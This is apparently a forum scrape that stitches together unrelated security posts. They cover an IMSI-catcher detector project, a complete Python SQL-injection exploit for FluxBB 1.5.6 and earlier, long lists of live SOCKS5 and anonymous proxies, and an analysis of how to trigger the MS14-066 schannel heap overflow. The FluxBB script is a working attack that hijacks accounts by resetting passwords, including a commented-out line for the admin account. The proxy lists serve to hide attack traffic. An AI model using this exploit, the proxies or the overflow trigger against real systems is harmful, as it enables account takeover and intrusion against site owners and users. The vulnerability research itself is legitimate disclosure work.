rainbow tables. It's just a matter of time of when your own neighbor will spy on you with simple self-build tools! In addition, all IMSI-Catchers can crack A5/1 encryption, which is most commonly used for GSM traffic, on the fly (passively)! A5/3 encryption which is used for securing 3G and is offered as new security standard for GSM encryption remains secure in practice while susceptible to theoretical attacks. Although 3G and 4G offer sufficient protection from eavesdropping, the security measures can be bypassed by IMSI-Catchers forcing a mobile device into 2G mode and downgrade encryption to A5/1 or disable it. For further reading on the algorithms, check out the Cryptome GSM Files. There are almost no phones on the market which offer an option to check what kind of encryption is used to secure GSM traffic. And although the Issue of not having a convenient display of the Ciphering Indicator has been assigned to Google since 2009, it seems they're getting paid (or are forced to) blatantly ignoring it. Just recently, a new open source project called the "Android-CipheringIndicator-API" opened its doors to finally craft an API which fixes this Issue and merge the resulting API into the Android AOSP branch. But currently, the only way to protect a mobile device from downgrade attacks is to disable 2G if this option is available. In this case, the phone will not be able to receive or make calls in areas without 3G coverage. This is why the original author named "E:V:A" started this project. Let's detect and protect against these threats! Never think you've got "nothing to hide". Some examples to make you familar with current IMSI-Catcher threats: NSA-Killings with IMSI-Catcher drones. . 28c3: Defending mobile phones. Stingrays: Biggest Technological Threat. GSOC reveals hidden IMSI-Catcher. Secret U.S. Spy Program on Planes Sursa: https://github.com/SecUpwN/Android-IMSI-Catcher-Detector

Felicitari, arata bine. Auzi, vrem si noi, cei de pe forum, sa ne facem tricouri personalizate cu RST. Ne poti ajuta? Info: https://rstforums.com/forum/91554-tricou-rst.rst

FluxBB <= 1.5.6 SQL Injection #!/usr/bin/env python # Friday, November 21, 2014 - secthrowaway () safe-mail net # FluxBB <= 1.5.6 SQL Injection # make sure that your IP is reachable url = 'http://target.tld/forum/' user = 'user' # dummy account pwd = 'test' import urllib, sys, smtpd, asyncore, re, sha from email import message_from_string from urllib2 import Request, urlopen ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" bindip = '0.0.0.0' def stage1(sql): if len(sql) > 80: sys.exit('SQL too long, max 80 chars') print "1st stage: %s (%d chars)" % (sql, len(sql)) r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid), data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie": cookie})).read() if 'An email has been sent to the specified address' not in r: sys.exit('err') def stage3(key): print "3rd stage, using key: %s" % key r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key), headers={"User-agent": ua})).read() if 'Your password has been updated' in r: print 'success' else: print 'err' class stage2_smtp(smtpd.SMTPServer): def process_message(self, peer, mailfrom, rcpttos, data): print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE) if key is not None: raise asyncore.ExitNow(key.group(2)) return def login(): print "logging in" r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua})) try: t = r.info()['set-cookie'].split(';')[0] return (t.split('=')[1].split('%7C')[0], t) except: sys.exit('unable to login, check user/pass') uid, cookie = login() email_domain = urlopen(Request('http://tns.re/gen')).read() print "using domain: %s" % email_domain #this will change your password to your password stage1('%s\'/**/where/**/id=%s# () %s' % (sha.new(pwd).hexdigest(), uid, email_domain)) #this will change admin's (uid=2) password "123456" #stage1('%s\'/**/where/**/id=%s# () %s' % (sha.new("123456").hexdigest(), 2, email_domain)) try: print "2nd stage: waiting for mail" server = stage2_smtp((bindip, 25), None) asyncore.loop() except asyncore.ExitNow, key: stage3(key) From: secthrowaway () Safe-mail net Date: Fri, 21 Nov 2014 02:23:30 -0500 FluxBB version 1.5.6 and below suffers from a SQL injection vulnerability.Solution: update to FluxBB 1.5.7 Working, automated PoC is attached. Attachment: fluxbb.py Sursa: Full Disclosure: FluxBB <= 1.5.6 SQL Injection

[h=1]22-11-14 | VIP Socks 5 (62)[/h] 22-11-14 | VIP Socks 5 (62) Checked & filtered 1.123.173.67:19065 104.11.133.164:44049 104.139.100.123:42420 104.4.83.73:36221 107.9.49.108:51259 108.24.82.162:35365 109.154.200.72:15052 173.21.14.244:16191 173.245.239.242:59477 173.48.85.6:46660 174.107.164.196:26849 174.116.239.240:35630 176.63.119.172:40136 184.155.143.249:42637 184.68.38.126:50901 198.27.67.24:53050 198.27.67.24:53193 198.50.206.1:443 199.182.225.70:25512 203.110.141.106:52511 203.45.178.175:49437 216.240.53.99:43800 217.66.27.149:7011 23.255.237.44:27588 24.144.145.125:44998 24.154.218.133:33290 24.168.43.58:36072 24.2.214.169:54442 24.229.64.217:5279 24.45.4.130:16063 24.7.95.31:30803 24.93.123.61:2699 31.15.217.3:33078 37.159.220.241:46767 37.57.97.96:24083 61.147.67.2:9125 64.18.119.226:20159 64.229.172.61:19873 66.112.33.144:45581 66.250.241.36:5112 67.58.83.247:39264 69.147.252.172:443 69.76.173.69:30631 70.173.40.165:19102 70.175.230.124:47067 70.184.92.175:25837 71.74.145.212:48814 74.101.164.248:19337 74.194.2.93:15782 74.84.255.109:32936 76.12.56.108:1028 76.180.122.136:29744 78.39.178.2:443 85.222.111.125:22167 90.200.112.137:25859 91.246.235.157:16122 92.245.196.43:5165 96.241.56.92:52074 96.36.39.162:17632 98.193.56.63:28778 98.222.86.109:42368 98.243.193.64:46547 Sursa: 22-11-14 | VIP Socks 5 (62) - Pastebin.com

22-11-14 | L1 High Anonymous Proxies (940) 22-11-14 | L1 High Anonymous Proxies (940) Checked & filtered 123.110.82.126:8088 117.147.246.90:8123 112.18.164.85:8123 182.93.236.22:8080 183.228.197.222:8123 202.114.6.37:9001 180.213.2.154:1337 112.111.114.51:9000 182.234.146.247:8088 111.10.88.235:8123 112.18.186.108:8123 218.207.28.154:8123 119.142.80.95:8585 117.173.18.95:8123 183.222.73.19:8123 111.10.155.212:8123 183.222.182.184:8123 117.176.2.125:8123 223.64.100.118:8123 183.220.198.198:8123 117.175.116.33:8123 223.18.236.163:8088 183.220.235.66:8123 183.228.196.126:8123 183.228.100.129:8123 183.249.20.60:8123 117.174.200.212:8123 183.221.186.212:8123 223.86.208.179:8123 203.172.213.246:8080 130.79.89.237:21320 111.10.101.22:8123 219.68.213.84:8088 183.220.239.167:8123 60.207.63.123:8118 117.176.191.15:8123 112.1.165.17:8123 203.172.222.230:8080 223.86.65.83:8123 1.192.62.103:8585 113.255.41.74:8088 111.9.87.226:8123 183.222.156.80:8123 111.1.3.38:8000 117.175.117.48:8123 183.223.201.147:8123 183.249.52.152:8123 117.139.35.74:8123 111.10.94.186:8123 182.235.37.111:8088 223.85.98.64:8123 183.222.152.160:8123 121.14.138.56:81 223.85.16.92:8123 183.222.172.117:8123 183.223.32.186:8123 219.239.236.49:9999 117.177.44.226:8123 223.85.18.54:8123 123.192.178.150:8088 115.28.85.240:8088 183.222.156.76:8123 117.176.188.152:8123 1.175.48.82:8088 117.173.20.43:8123 120.199.246.0:8123 203.172.209.246:8080 183.222.154.60:8123 223.86.100.43:8123 112.18.92.75:8123 183.223.168.236:8123 117.176.189.40:8123 221.225.117.192:8088 117.176.27.184:8123 1.198.227.78:9000 223.86.14.241:8123 223.86.221.25:8123 222.166.102.139:8088 183.228.36.236:8123 111.10.145.19:8123 223.64.54.95:8123 111.10.130.249:8123 221.178.21.163:8123 117.173.22.10:8123 183.222.157.209:8123 223.86.203.43:8123 223.86.135.250:8123 114.255.183.163:8080 221.178.117.213:8123 223.86.137.155:8123 183.221.217.249:8123 223.85.23.91:8123 203.172.242.190:8080 117.27.157.111:8081 59.148.110.23:8088 117.175.111.110:8123 49.158.118.219:8088 111.10.145.165:8123 183.228.39.207:8123 183.228.238.106:8123 111.10.103.63:8123 119.246.32.164:8088 223.85.81.183:8123 183.222.152.205:8123 111.10.146.230:8123 183.223.169.195:8123 61.15.192.245:8088 223.87.75.190:8123 140.116.91.199:8088 203.172.227.45:8080 221.178.31.243:8123 111.13.55.3:22 183.221.217.130:8123 221.178.23.42:8123 61.191.27.118:1818 116.228.80.186:8080 123.101.201.123:9000 183.228.111.122:8123 59.162.204.150:8080 203.172.203.6:8080 119.80.183.2:8080 114.27.130.117:8088 117.175.101.134:8088 117.174.193.162:8123 183.228.249.182:8123 62.117.58.109:6588 112.18.166.102:8123 85.234.20.131:3128 94.232.9.242:8080 117.175.227.55:8123 183.228.41.136:8123 223.86.223.222:8123 117.175.215.199:8123 183.228.239.56:8123 183.220.244.101:8123 183.228.43.226:8123 183.219.14.137:8123 117.173.22.98:8123 183.223.157.204:8123 211.139.80.180:8080 221.10.40.237:82 122.88.143.151:8123 183.220.154.216:8123 117.176.38.48:8123 115.28.229.8:8088 111.10.131.7:8123 203.172.211.182:8080 223.85.16.104:8123 61.93.246.50:8080 220.132.129.3:8088 117.173.23.22:8123 112.18.0.101:8123 117.173.23.46:8123 183.228.89.217:8123 218.23.185.19:8080 212.42.116.148:8080 112.18.167.177:8123 123.101.201.116:9000 183.222.154.93:8123 117.175.242.116:8123 221.178.22.165:8123 223.86.65.218:8123 140.115.202.134:8088 223.86.219.3:8123 183.220.46.236:8123 111.10.191.68:8123 112.18.196.247:8123 183.228.122.229:8123 117.177.172.176:8123 117.175.118.97:8123 223.86.4.41:8123 117.175.241.120:8123 112.22.8.174:8123 182.234.152.129:8088 183.222.64.143:8123 221.178.25.156:8123 223.86.221.65:8123 111.10.166.154:8123 61.185.32.21:63000 111.10.97.200:8123 182.93.224.14:8080 117.175.241.98:8123 111.10.39.65:8123 111.9.233.17:8123 183.223.35.39:8123 203.172.211.70:8080 112.18.176.217:8123 183.223.242.172:8123 223.86.216.45:8123 112.21.232.176:8123 112.15.99.191:8123 183.228.182.157:8123 118.166.124.129:8088 221.178.23.254:8123 223.86.134.250:8123 117.139.35.231:8123 117.174.214.192:8123 117.176.162.104:8123 115.28.11.165:8888 117.172.77.57:8123 73.152.24.102:80 183.209.236.253:8123 221.178.66.31:8123 183.223.200.142:8123 183.220.245.134:8123 183.224.99.149:8123 183.221.55.66:8123 111.243.68.137:8088 123.110.46.159:8088 183.228.151.130:8123 223.86.101.162:8123 223.85.20.11:8123 183.223.192.172:8123 171.12.1.71:81 111.185.131.85:8088 183.222.74.19:8123 117.175.39.91:8123 183.222.72.156:8123 123.101.201.6:9000 223.64.100.36:8123 223.85.21.65:8123 218.28.74.30:63000 117.139.39.98:8123 183.228.148.62:8123 218.207.11.60:8123 183.223.211.126:8123 123.195.26.231:8088 223.87.77.100:8123 183.222.155.111:8123 221.178.20.8:8123 223.85.97.240:8123 120.199.255.129:8123 223.85.23.64:8123 61.155.169.11:808 183.223.192.125:8123 123.241.50.79:8088 120.199.240.70:8123 183.228.40.127:8123 119.14.58.241:8088 203.171.227.38:8888 117.173.21.221:8123 117.139.29.47:8123 111.9.170.249:8123 112.18.168.179:8123 117.175.192.93:8123 183.222.152.110:8123 223.85.22.98:8123 112.44.234.168:8123 183.223.197.108:8123 123.195.35.100:8088 113.200.220.242:8123 223.87.114.74:8123 60.244.39.225:8088 112.44.230.216:8123 223.86.208.132:8123 114.32.219.221:8088 115.29.249.17:9000 183.222.246.137:8123 61.10.141.128:8088 112.16.78.194:8080 117.176.184.108:8123 183.227.211.79:8123 223.86.223.79:8123 140.206.86.70:8080 183.228.40.108:8123 183.228.141.4:8123 183.223.18.181:8123 221.10.40.238:82 77.70.29.176:81 218.244.138.253:808 221.178.31.130:8123 221.178.77.33:8123 112.18.194.31:8123 117.176.191.199:8123 177.223.228.1:9064 221.178.32.91:8123 140.116.101.93:8088 223.86.3.103:8123 112.18.79.182:8123 111.3.71.108:8123 182.93.241.230:8080 82.146.44.46:8080 117.173.204.147:8123 183.222.82.32:8123 222.220.187.51:8585 223.85.76.105:8123 119.246.126.158:8088 223.86.216.56:8123 183.223.155.74:8123 183.223.32.135:8123 219.153.56.22:8080 203.100.80.81:8080 123.202.145.36:8088 223.86.7.137:8123 117.174.200.120:8123 117.173.232.220:8123 117.176.189.195:8123 203.149.30.82:80 183.223.21.24:8123 221.178.99.51:8123 117.139.34.33:8123 61.177.137.131:63000 223.85.97.171:8123 186.101.75.82:3128 111.10.119.100:8123 111.10.155.184:8123 223.85.100.160:8123 119.77.134.182:8088 183.136.221.6:3128 210.214.27.200:8080 223.86.102.57:8123 171.12.2.131:81 111.184.187.181:8088 49.158.21.212:8088 117.174.197.214:8123 111.10.44.85:8123 117.173.23.28:8123 69.10.137.139:8000 61.182.94.242:63000 183.223.10.174:8123 183.223.35.4:8123 221.10.102.199:843 218.207.11.52:8123 111.10.137.176:8123 111.10.103.175:8123 183.223.195.179:8123 190.200.17.40:21320 183.220.46.85:8123 182.93.218.30:8080 183.228.37.218:8123 111.10.133.203:8123 14.139.111.91:3128 183.228.201.236:8123 222.22.93.252:8088 183.220.245.83:8123 223.86.67.85:8123 173.201.183.172:8000 203.172.222.214:8080 221.178.98.48:8123 60.206.153.177:8118 183.228.192.141:8123 223.85.60.202:8123 111.10.164.159:8123 223.86.216.106:8123 183.223.13.19:8123 117.139.38.32:8123 121.232.13.61:8088 223.86.41.252:8123 183.223.200.77:8123 183.223.153.210:8123 183.222.153.86:8123 202.79.36.119:8080 183.220.247.200:8123 183.222.82.148:8123 210.27.237.111:8088 183.222.178.224:8123 223.86.75.224:8123 183.228.220.58:8123 111.10.158.182:8123 117.173.121.148:8123 112.44.230.36:8123 202.143.154.102:8080 183.227.253.10:8123 161.6.45.63:21320 117.173.245.203:8123 183.222.255.136:8123 223.86.44.133:8123 117.173.18.109:8123 120.199.243.29:8123 117.176.187.81:8123 218.164.150.7:8088 180.153.32.11:8080 183.223.153.13:8123 183.228.243.72:8123 112.18.176.241:8123 118.169.162.252:8088 114.24.110.5:8088 112.18.170.158:8123 111.10.49.255:8123 183.228.138.61:8123 117.172.151.57:8123 223.86.115.53:8123 218.207.12.119:8123 223.87.113.98:8123 183.228.180.247:8123 111.9.234.123:8123 60.26.60.194:8118 223.85.85.2:8123 117.173.240.220:8123 183.228.183.79:8123 223.86.46.182:8123 183.227.209.52:8123 183.222.73.52:8123 221.178.53.138:8123 120.193.60.135:8123 123.193.221.132:8088 183.220.46.113:8123 183.223.198.195:8123 117.173.62.213:8123 117.173.121.254:8123 60.195.3.180:8118 223.85.97.96:8123 183.222.182.36:8123 218.207.208.55:8080 183.223.192.189:8123 114.40.89.234:8088 59.67.83.68:8088 223.85.83.113:8123 112.18.153.221:8123 117.173.21.14:8123 183.228.242.201:8123 117.174.195.3:8123 112.0.104.138:8123 112.0.30.84:8123 117.175.229.239:8123 183.223.21.138:8123 223.85.95.34:8123 123.101.200.185:9000 223.87.190.96:8123 117.173.20.19:8123 202.143.160.193:8080 223.85.19.121:8123 112.44.238.80:8123 113.200.220.39:8123 117.139.28.18:8123 117.174.198.230:8123 223.86.127.178:8123 111.10.155.120:8123 183.228.79.166:8123 117.173.121.177:8123 117.174.196.5:8123 223.85.21.195:8123 111.10.149.20:8123 223.86.127.126:8123 117.173.20.60:8123 183.220.45.35:8123 221.178.54.70:8123 183.222.152.142:8123 117.175.103.247:8123 42.62.24.87:8085 111.10.44.133:8123 183.223.166.13:8123 221.178.55.45:8123 112.18.161.100:8123 111.2.241.208:8123 1.193.52.246:8118 183.223.11.116:8123 85.90.222.240:12345 111.4.120.140:8123 223.87.184.97:8123 183.221.147.191:8123 111.10.155.106:8123 123.203.56.220:8088 117.173.205.160:8123 186.94.214.35:3128 91.185.110.162:21320 117.174.208.172:8123 221.178.80.217:8123 111.10.100.155:8123 112.18.160.141:8123 123.163.124.30:9000 114.38.197.137:8088 117.176.105.176:8123 183.222.172.192:8123 115.29.247.115:8888 183.223.40.63:8123 223.87.190.118:8123 188.2.107.92:21320 222.88.236.236:81 223.85.97.8:8123 112.11.48.4:8088 182.234.251.104:8088 221.10.102.203:82 117.172.78.48:8123 183.223.168.89:8123 221.178.30.190:8123 223.85.96.47:8123 182.93.236.6:8080 223.86.99.57:8123 223.86.223.40:8123 125.71.212.25:9000 223.85.98.166:8123 117.63.0.60:8118 218.95.158.99:63000 49.159.14.176:8088 1.194.8.245:808 123.193.199.41:8088 183.228.72.54:8123 60.206.239.195:8118 112.20.116.103:8123 202.103.150.70:8088 58.115.101.4:8088 112.15.33.108:8123 223.64.100.23:8123 114.255.183.173:8080 117.173.20.230:8123 117.173.242.166:8123 123.101.200.209:9000 223.86.216.249:8123 183.220.244.201:8123 118.161.57.99:8088 112.18.176.138:8123 58.195.5.30:8088 60.191.139.18:9000 183.220.155.167:8123 112.22.252.69:8123 182.93.218.86:8080 183.223.166.223:8123 61.244.4.96:8088 112.3.166.142:8123 111.10.86.249:8123 180.153.32.9:8080 112.22.228.193:8123 223.86.210.46:8123 223.87.114.181:8123 117.175.239.23:8123 112.21.237.134:8123 183.223.20.153:8123 112.18.64.130:8123 223.85.17.108:8123 62.75.229.121:3128 221.178.117.187:8123 223.64.225.78:8123 112.44.245.141:8123 223.86.212.188:8123 183.222.153.130:8123 183.209.110.179:8123 1.170.20.142:8088 221.182.62.30:8123 180.177.194.95:8088 180.102.32.92:8118 111.10.101.185:8123 112.18.92.197:8123 183.222.182.26:8123 223.85.80.160:8123 183.228.246.55:8123 223.85.98.141:8123 183.228.241.174:8123 223.87.190.199:8123 111.10.163.178:8123 117.173.83.111:8123 183.222.155.56:8123 14.136.3.205:8088 218.252.119.131:8088 117.174.201.3:8123 117.173.22.221:8123 112.18.176.26:8123 183.230.53.78:8123 69.64.32.110:12183 183.222.155.175:8123 91.241.18.129:3129 183.228.181.58:8123 112.44.231.164:8123 183.220.247.113:8123 112.111.114.137:9000 112.18.69.249:8123 223.86.221.246:8123 60.166.19.218:63000 111.2.240.145:8123 112.18.194.217:8123 223.85.21.217:8123 112.18.162.147:8123 183.228.89.167:8123 203.172.209.190:8080 117.175.33.9:8123 218.108.168.70:82 106.0.144.6:8080 183.222.158.239:8123 183.222.173.157:8123 111.10.28.146:8123 203.172.216.126:8080 118.122.114.249:9000 183.222.156.225:8123 221.178.75.230:8123 221.182.73.193:8123 183.228.211.133:8123 221.178.31.29:8123 113.164.0.241:8080 183.222.255.183:8123 123.163.120.43:9000 202.77.138.35:8080 111.10.58.82:8123 121.52.229.51:3128 122.88.141.56:8123 202.92.173.189:8088 183.223.166.147:8123 183.228.106.15:8123 111.10.87.91:8123 117.176.184.87:8123 119.14.75.73:8088 112.18.178.43:8123 117.174.192.95:8123 203.172.149.3:8080 123.163.124.29:9000 211.77.5.41:8081 183.245.210.13:8123 117.148.38.134:8123 122.88.169.121:8123 117.139.66.218:8123 223.86.209.94:8123 70.99.146.246:7004 111.10.49.38:8123 111.10.180.195:8123 177.234.12.202:3128 117.173.20.218:8123 183.208.39.173:8123 112.44.245.149:8123 183.221.160.83:8123 112.18.170.143:8123 183.228.183.225:8123 183.220.196.94:8123 117.173.22.139:8123 117.173.254.168:8123 183.222.252.159:8123 117.176.191.178:8123 111.10.100.182:8123 112.22.16.114:8123 117.175.35.89:8123 111.10.152.37:8123 203.172.216.6:8080 117.148.45.107:8123 211.155.86.245:8000 183.211.27.65:8123 117.173.57.179:8123 183.221.190.172:8123 211.143.146.239:82 213.135.234.6:81 60.210.111.42:8088 111.252.52.91:8088 183.223.159.170:8123 183.220.45.82:8123 59.148.166.55:8088 183.222.154.141:8123 117.173.120.85:8123 117.175.243.51:8123 196.201.216.170:8088 118.161.50.236:8088 117.147.221.157:8123 212.185.87.53:443 223.87.185.201:8123 111.10.119.3:8123 117.139.69.239:8123 183.220.168.42:8123 117.174.198.76:8123 117.174.200.220:8123 123.192.19.227:8088 111.250.170.135:8088 183.227.252.113:8123 218.35.182.54:8088 117.173.22.111:8123 218.207.16.238:8123 183.220.246.125:8123 220.134.40.139:8088 122.88.87.34:8123 58.251.78.71:8088 123.163.120.52:9000 111.39.172.53:8088 218.7.132.1:8080 183.223.172.81:8123 221.178.116.167:8123 111.20.177.46:8123 140.114.226.109:8088 111.10.13.255:8123 140.114.212.169:8088 117.173.102.45:8123 183.223.21.71:8123 183.228.43.155:8123 223.87.184.120:8123 183.228.88.2:8123 117.173.204.186:8123 98.211.196.247:3128 223.85.99.203:8123 117.177.173.119:8123 221.182.62.32:8123 221.178.78.9:8123 223.87.108.92:8123 223.85.23.231:8123 221.182.75.210:8123 222.205.127.250:8080 117.175.194.66:8123 202.143.168.150:8080 112.18.165.152:8123 83.219.21.28:8080 112.3.202.182:8123 39.187.49.24:8123 183.209.236.149:8123 183.221.189.89:8123 140.114.207.85:8088 111.9.110.248:8123 183.222.154.114:8123 183.220.246.223:8123 117.175.118.37:8123 223.64.100.24:8123 183.223.196.201:8123 14.136.61.100:8088 119.97.164.48:8085 203.172.222.38:8080 111.10.100.46:8123 183.223.193.50:8123 117.177.174.142:8123 183.221.160.58:8123 202.105.247.122:9999 111.9.87.119:8123 117.176.109.57:8123 221.178.119.225:8123 140.114.216.105:8088 112.18.159.243:8123 221.178.86.25:8123 183.222.86.3:8123 218.14.121.227:9000 183.222.172.196:8123 111.10.97.246:8123 117.176.28.70:8123 219.68.160.90:8088 203.71.152.152:8088 210.43.139.105:8088 111.10.194.219:8123 122.88.215.160:8123 159.226.170.79:8080 183.220.196.58:8123 223.86.119.141:8123 203.172.248.198:8080 115.236.59.194:3128 221.178.122.31:8123 1.175.38.181:8088 1.172.25.3:8088 120.199.226.69:8123 117.173.62.226:8123 117.172.77.182:8123 71.230.131.198:3128 183.220.45.65:8123 183.228.78.93:8123 111.9.174.86:8123 182.234.147.27:8088 117.21.192.8:80 111.10.152.34:8123 117.190.76.46:8088 183.223.204.76:8123 112.15.15.158:8123 183.222.172.77:8123 112.111.114.204:9000 223.86.33.71:8123 180.176.131.157:8088 183.228.209.97:8123 109.197.55.7:3128 117.173.21.190:8123 183.228.234.78:8123 223.86.171.178:8123 27.207.69.232:8088 183.208.34.149:8123 140.206.86.68:8080 113.255.46.78:8088 115.43.229.26:8088 117.173.120.232:8123 183.222.152.219:8123 59.124.1.140:8088 119.236.248.42:8088 112.111.114.72:9000 123.203.77.101:8088 112.112.11.82:8080 223.86.4.207:8123 183.222.155.26:8123 221.178.119.207:8123 183.220.46.211:8123 140.116.132.20:8088 221.178.54.183:8123 112.23.249.200:8123 223.64.127.153:8123 124.11.67.64:8088 183.223.168.159:8123 39.189.100.228:8123 183.222.155.149:8123 112.18.161.122:8123 183.220.161.103:8123 222.167.62.122:8088 113.252.202.126:8088 61.187.249.231:63000 183.223.195.106:8123 183.220.46.97:8123 117.148.47.88:8123 183.221.190.222:8123 117.175.103.228:8123 221.178.96.34:8123 123.194.126.60:8088 223.86.6.181:8123 117.175.36.81:8123 221.224.163.37:9000 117.175.109.112:8123 123.163.120.50:9000 183.228.89.229:8123 42.121.105.155:8888 222.45.100.3:8080 223.86.115.154:8123 183.227.218.154:8123 183.221.217.49:8123 117.174.196.202:8123 117.175.242.222:8123 223.18.251.38:8088 221.178.14.227:8123 111.3.109.130:8123 221.10.40.236:81 58.215.212.243:63000 183.223.194.165:8123 223.86.32.119:8123 183.223.213.205:8123 183.223.242.113:8123 182.93.236.38:8080 111.10.89.189:8123 117.10.244.241:8118 111.10.186.68:8123 125.220.10.125:8088 117.175.213.161:8123 183.228.200.140:8123 211.80.41.192:8088 223.87.76.232:8123 182.93.237.22:8080 111.2.240.170:8123 61.228.25.82:8088 183.222.101.130:8123 183.228.219.244:8123 183.228.242.153:8123 183.221.187.64:8123 117.175.36.150:8123 1.202.15.102:63000 183.245.231.190:8123 218.104.239.12:8118 183.228.193.254:8123 223.86.113.46:8123 221.178.86.204:8123 58.115.139.29:8088 117.139.65.248:8123 212.175.17.237:8080 218.207.53.196:8123 117.175.229.240:8123 123.0.254.83:8088 58.51.197.19:63000 202.115.28.113:808 223.85.98.118:8123 223.87.117.18:8123 111.10.163.97:8123 183.228.181.242:8123 115.154.225.119:8585 183.221.188.121:8123 221.178.83.79:8123 111.184.183.144:8088 112.18.160.251:8123 183.222.173.17:8123 117.175.34.232:8123 111.10.193.29:8123 117.136.166.151:8123 223.86.99.185:8123 118.26.230.75:8080 183.222.158.145:8123 119.6.136.126:82 221.178.20.249:8123 117.173.60.93:8123 118.81.149.200:8088 183.228.72.185:8123 223.86.101.25:8123 223.85.18.23:8123 117.175.124.105:8123 118.194.196.12:8080 116.228.55.217:8003 117.176.1.84:8123 183.222.173.234:8123 223.86.9.193:8123 123.203.96.106:8088 61.57.125.101:8088 117.177.173.131:8123 223.85.99.88:8123 111.10.102.242:8123 221.178.14.231:8123 117.176.162.153:8123 117.173.62.221:8123 112.24.115.214:8123 203.172.233.109:8080 114.43.20.199:8088 203.172.209.49:8080 183.220.46.25:8123 218.35.144.218:8088 119.6.144.70:843 111.10.195.229:8123 182.234.73.217:8088 137.135.166.225:8118 61.155.11.39:9999 219.68.190.87:8088 123.101.194.69:9000 111.10.98.195:8123 183.222.158.92:8123 210.212.245.236:8080 218.207.28.185:8123 111.185.178.5:8088 111.10.138.75:8123 183.228.235.214:8123 202.102.201.99:8080 123.163.120.35:9000 182.93.229.66:8080 182.93.235.118:8080 203.172.149.155:8080 111.10.100.35:8123 211.77.5.38:8081 58.118.216.201:8088 221.178.30.238:8123 223.87.190.26:8123 183.228.103.50:8123 117.175.228.9:8123 124.12.87.119:8088 183.228.78.4:8123 223.86.217.123:8123 112.44.252.46:8123 218.207.17.82:8123 183.220.228.19:8123 223.85.60.74:8123 183.221.160.243:8123 117.175.116.78:8123 223.85.20.254:8123 80.232.255.197:21320 183.222.159.114:8123 117.173.81.168:8123 111.3.78.103:8123 121.55.204.80:8088 183.228.39.8:8123 183.223.12.202:8123 111.10.194.100:8123 223.86.101.160:8123 117.177.166.246:8123 221.178.65.197:8123 223.85.21.235:8123 5.9.70.75:8118 112.15.64.133:8123 182.118.3.228:8888 223.86.117.33:8123 171.12.2.133:81 183.228.232.72:8123 182.93.218.78:8080 221.178.21.198:8123 58.199.150.21:8585 221.215.150.116:8080 117.149.253.1:8123 183.223.203.141:8123 Sursa: 22-11-14 | L1 High Anonymous Proxies (940) - Pastebin.com

[h=3]MS14-066 In Depth Analysis[/h] A few days ago I published an article detailing how a second bug, in the schannel TLS handshake handling, could allow an attacker to trigger the DecodeSigAndReverse heap overflow in an application that doesn't support client certificates. I had stated I was not familiar with ECC signatures and was unsure of how to trigger the exploit; However, a few hours research fixed that. BeyondTrust's post implies they triggered the overflow by randomly modifying the ECC signature, though I believe this is unlikely and was just a safer alternative to disclosing exactly how to trigger the exploit. It was possible for me to achieve remote code execution with either ASLR or DEP disabled, but on a system with both it would prove quite a challenge, thus I'm not too worried about detailing exactly how to trigger the overflow. [h=2]DecodeSigAndReverse[/h] We already know the function in which the overflow occurs, so I decided to work backwards from there. This function is responsible for decoding the ASN.1 (DER) encoded ECC signature and returning it to be verified. The first thing that is done here is the ECC signature is passed to CryptDecodeObject in order to calculate the total size of the decoded signature, which is used to allocate some memory using SPExternalAlloc (LocalAlloc Wrapper). CryptDecodeObject will always handle the signature correctly, with the returned size being sufficient. CryptDecodeObject is now called again, but this time it is passed a pointer to the allocate memory in which to copy the decoded signature. The "cmp ebx, 2Fh" checks the signature type (X509_ECC_SIGNATURE) and will direct the code to the left. The decoded signature is pointed to by an ECC_SIGNATURE header, which is 12 bytes in size an looks something like this. What R and S are doesn't really matter here, all we need to know is they are extremely large integers. Our ECC structure now contains the size of each integer and a pointer to where it's stored. The 2 memcpy operations should be pretty obvious now, the first one copies rSize bytes from R to some allocated memory, then the second copies sSize bytes of S to the same memory directly after R; If there's going to be an overflow It's going to be in the second memcpy. What we don't yet know is the size of the destination memory or how it's allocated. All I had to do to find where the memory gets allocated was to look at the call graph, find the function responsible for coding DecodeSigAndReverse, then scout it for the "Dst" parameter. This is where everything goes right (or wrong if you're Microsoft). _BCryptGetProperty is being passed "KeyLength" to... Drum roll please.... get the key length. Directly below that length is being divided by 8 (converted from bits to bytes) then doubled; this is due to the fact the signature length is (should be) double the key length. Just before the call to DecodeSigAndReverse we can see that the destination buffer is also allocated on the heap. So back at the 2 memcpys now with knowledge of the destination buffer size, we can see exactly what triggers the heap overflow. If we use a key size of 256 bit (32 bytes), then the function is expecting a 512 bit (64 byte) signature, any more will overflow the heap and when it's freed cause a crash. There are very few constraints on the signature, due to the fact the whole thing is just 2 massive integers. As long as we maintain a valid ASN.1 (DER) encoding and the signature is of valid size, we can write arbitrary data to the heap header resulting in an access violation or even remote code execution when the system tries to free the memory. Posted by TM at 11:19 AM Sursa: MS14-066 In Depth Analysis - MalwareTech